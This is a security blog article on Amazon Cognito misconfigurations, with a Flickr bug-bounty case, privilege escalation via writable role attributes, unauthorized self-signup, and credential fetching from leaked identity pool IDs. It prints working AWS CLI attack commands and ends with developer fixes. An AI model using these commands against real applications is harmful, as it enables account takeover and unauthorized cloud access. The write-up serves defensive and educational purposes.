In recent years, Amazon Web Services (AWS) has become a popular choice for businesses looking to host their web applications in the cloud. One of the most widely used AWS services is Amazon Cognito, a user authentication and identity management service. However, a misconfigured Amazon Cognito instance can leave sensitive user data exposed, potentially leading to data breaches and other security risks.

First of all

What is Amazon Cognito?

Amazon Cognito is a fully-managed service from AWS that provides user authentication, authorization, and user management for web and mobile applications. It allows developers to easily add user sign-up, sign-in, and access control to their applications, as well as integrate with third-party identity providers such as Facebook, Google, and Amazon. Amazon Cognito also supports multi-factor authentication and user data synchronization across devices.

How does it work?

Amazon Cognito consists of two main components :

1. User Pools

This component provides user sign-up, sign-in, and authentication functionality for web and mobile applications. User pools enable you to create and maintain a user directory, customize the authentication process, and integrate with third-party identity providers.

Users Pool

As you can see, the front end communicates with the user pool to get a JWT. The JWT is then used to access backend-restricted resources.

The JWT is signed using the RS256 algorithm. This algorithm is composed of a private key used to sign the payload and a public key used to check the validity of the payload.

2. Identity Pools

This component enables you to grant temporary, limited access to your AWS resources to users who have authenticated through user pools, social identity providers, or other third-party identity providers. Identity pools allow you to control access to your resources based on user identities and provide seamless and secure access to AWS services for authenticated users.

Identity Pool

Amazon Cognito is designed to be a secure and reliable service, but like any cloud service it is important to ensure that it is configured correctly. If not, it could lead to misconfiguration that can result in some vulnerabilities

What are Misconfigurations in Amazon Cognito?

Misconfigurations in Amazon Cognito refer to errors or oversights made during the configuration of the service, which can result in security vulnerabilities. These misconfigurations can allow unauthorized access to user accounts or sensitive data, compromise the confidentiality or integrity of data, and damage the reputation of the organization. Examples of misconfigurations in Amazon Cognito include Improper Access Controls, Lack of Authorization, Misconfigured User Data Permissions, Lack of Multi-Factor Authentication … etc

In this article, I will focus on an example of common Amazon Cognito misconfigurations :

Misconfiguration to Zero Click Account Takeover

Updating email attribute before verification

HOW ?

Flickr uses Amazon Cognito to implement its login functionality.

The flow is started at identity.flickr.com. Via JavaScript, the enduser’s credentials are sent to cognito-idp.us-east-1.amazonaws.com, which responds with tokens. Finally, these tokens are forwarded to www.flickr.com.

The Amazon Cognito login implements a slightly modified variant of OpenID Connect. If you are familar with this single sign-on protocol, you will recognize the following Auth. Request and Auth. Response:

POST / HTTP/2
Host: cognito-idp.us-east-1.amazonaws.com
[…]
{
"AuthFlow":"USER_PASSWORD_AUTH",
"ClientId":"3ck15**************",
"AuthParameters":{
"USERNAME":"attacker@flickr.com",
"PASSWORD":"[REDACTED]",
"DEVICE_KEY":"us-east-1_070[…]"
},
"ClientMetadata":
{
}
}

If the provided credentials are valid, Cognito responds with tokens:

HTTP/2 200 OK
[…]
{
"AuthenticationResult":
{
"AccessToken":"[REDACTED]",
"ExpiresIn":3600,
"IdToken":"[REDACTED]",
"RefreshToken":"[REDACTED]",
"TokenType":"Bearer"
},
"ChallengeParameters":
{
}
}

Flickr uses a user pool to organize their users. By using the access_token with the AWS CLI tool, we can test which actions are in the scope of our token. Using the API, one is able to alter some of the user attributes — including the linked e-mail address:

through this command :

$ aws cognito-idp update-user-attributes — region us-east-1 — access-token eyJraW****** — user-attributes ‘Name=email,Value=victim-email@email.com

To complete the account takeover, the researcher logs in using the malicious, look-alike e-mail address and the attacker’s password.

Full report : https://hackerone.com/reports/1342088

AWS has introduced a new security configuration to mitigate this issue, so if you keep original attribute value active when an update is pending explicitly enabled, The email attribute will not be updated to the new email address until it is verified.

This is a new security configuration that was only introduced after June 2022 which means a lot of applications might still be misconfigured.

Misconfiguration to privilege escalation

Privilege escalation through writable user attributes:

In the context of AWS Cognito, privilege escalation through writable user attributes could occur if a user is able to modify their own attributes in a way that grants them additional permissions beyond what they are authorized to have.

HOW?

For example, an admin invites a user and assigns his role as a reader, then sends the invitation to their email.

What if the user is an attacker and changes his role to admin?

By the same steps of the old example ‘Flickr’, using the access_token with the AWS CLI tool, we can test which actions are in scope of our token. Using the API, one is able to alter some of the user attributes — including roles Let’s say the user’s metadata looks like this :

{
     "Username": "e2[…]",
     "UserAttributes": [
     {
     "Name": "sub",
     "Value": "e28[…]"
     },
     {
     "Name": "role",
     "Value": "reader"
     },
     {
     "Name": "email_verified",
     "Value": "true"
     ),
     {
     "Name": "email",
     "Value": "email@shellmates.com"
     }
     ]
}

The user can change his role from reader to admin through this command using AWS CLI tool :

$ aws cognito-idp update-user-attributes — region us-east-1 — access-token eyJraW****** — user-attributes ‘Name=role,Value=admin

once you check again using this simple GetUser action through this command :

$ aws cognito-idp get-user — region us-east-1 — access-token eyJr********

your metadata will look like this :

{
     "Username": "e2[…]",
     "UserAttributes": [
     {
     "Name": "sub",
     "Value": "e28[…]"
     },
     {
     "Name": "role",
     "Value": "admin"
     },
     {
     "Name": "email_verified",
     "Value": "true"
     ),
     {
     "Name": "email",
     "Value": "email@shellmates.com"
     }
     ]
}

Authentication bypass due to enabled Signup API action

Applications that do not offer user signup and only support administrative provision of accounts could be vulnerable. If they do not properly disable the signup API, they can be at risk of unauthorized account creation by attackers. This can be particularly dangerous for admin login portals using AWS Cognito, as attackers can bypass authentication and gain access to sensitive information or perform unauthorized actions.

HOW?

This includes admin login portals which implement AWS cognito allowing authentication bypass as a result.

in this example, there is no signup to create an account because only admins can log in

When creating a new user pool, self-registration may be enabled by default, allowing users to sign up for an account on their own.

Example

The attacker only needs the client ID and region to test against the self-registration.

The attacker can register through this command using AWS CLI tool:

$ aws cognito-idp sign-up — client-id <client-id> — username <email-address> — password <password> — region <region>

successful signup looks like this:

{
     "CodeDeliveryDetailsList":[
     
     {
     "Destination":"m***@w***",
     "DeliveryMedium":"EMAIL",
     "AttributeName":"email"
     }
     ]
}

In case of a successful self-registration, a 6 digits confirmation code will be delivered to the attacker’s email address.

Example of confirmation code

The attacker can confirm the account through this command :

$ aws cognito-idp confirm-sign-up — client-id <client-id> — username <email-address> — confirmation-code <confirmation-code> — region <region>

Fetching temporary AWS credentials using authenticated user

Fetching temporary AWS credentials using an authenticated user involves using the AWS Security Token Service (STS) to generate temporary credentials for an IAM role with the necessary permissions to access AWS resources. Proper security measures should be implemented to ensure that the user has the necessary permissions, also access controls and audit logs should be in place to monitor and track access to AWS resources using the temporary credentials.

To generate the AWS credentials, we need to find Identity Pool ID which is usually hardcoded in the source code, in a bundled JS file or in HTTP response.

• Client ID

• User Pool ID

• Region

For example :

js file leak the AWS credentials ( User Pool ID, User Pool ID, Region)

once the attacker has access to those credentials

How can he exploit them?

An attacker can use the previous Identity ID to generate AWS credentials. Use AWS Cli as follows :

$ aws cognito-identity get-credentials-for-identity — identity-id <identity-id> — region <region>

the metadata looks like

{
     "IdentityId": "us-west-2:*********",
     "Credentials": [
     {
     "AccessKeyId": "******",
     "SecretKey": "*********",
     "SessionToken": "********"
     }
     ]
}

Now the attacker can enumerate permissions associated with these credentials using a tool such as:

Enumerate-iam: https://github.com/andresriancho/enumerate-iam

Scout Suite: https://github.com/nccgroup/ScoutSuite

$ ./enumerate-iam.py — access-key <AccessKeyID> — secret-key <SecretKey> — session-token <SessionToken>

an example of the tool “enumerate-iam” about how it working

Conclusion

These are some of the common and serious Amazon cognito configuration issues that have been identified and can be addressed by various solutions.

Guidelines for developers:

1. Make sure to take out any sensitive information, such as the Cognito Identity Pool Id, from the responses sent by the server.

2. If it’s not needed, turn off the Signup feature on AWS Cognito.

3. If there’s no use for it, disable the unauthenticated role.

4. Check the IAM policy linked to both authenticated and unauthenticated roles to ensure that only the minimum necessary access is granted.

5. Assess all user attributes and remove writing permission if it’s not required.

6. Keep in mind that the email attribute value may contain an email address that hasn’t been verified